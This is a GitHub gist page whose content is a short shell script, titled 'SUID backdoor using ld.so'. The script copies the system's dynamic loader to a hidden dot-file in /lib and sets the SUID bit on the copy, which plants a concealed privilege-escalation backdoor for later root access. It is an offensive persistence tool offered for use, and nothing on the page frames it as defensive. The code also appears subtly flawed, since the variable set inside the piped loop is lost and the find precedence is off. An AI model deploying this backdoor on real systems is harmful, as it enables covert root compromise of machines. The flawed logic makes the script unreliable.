Last active
April 28, 2025 22:19
-
-
Save BlueishSapphire/cfc2b4a4de977300ff9591315c19be19 to your computer and use it in GitHub Desktop.
SUID backdoor using ld.so
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sh_elf=$(file -LbP bytes=6 /bin/sh) | |
| suid_ld= | |
| find /lib/ -name 'ld.so*' -or -name 'ld-*.so*' -print0 2>/dev/null | while read -d $'\0' file; do | |
| ld_elf=$(file -LbP bytes=6 "$file") | |
| if [[ "$sh_elf" == "$ld_elf" ]]; then | |
| suid_ld="$(dirname $file)/.$(basename $file)" | |
| cp "$file" "$suid_ld" | |
| chmod +s "$suid_ld" | |
| fi | |
| done | |
| echo "suid backdoor: $suid_ld" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment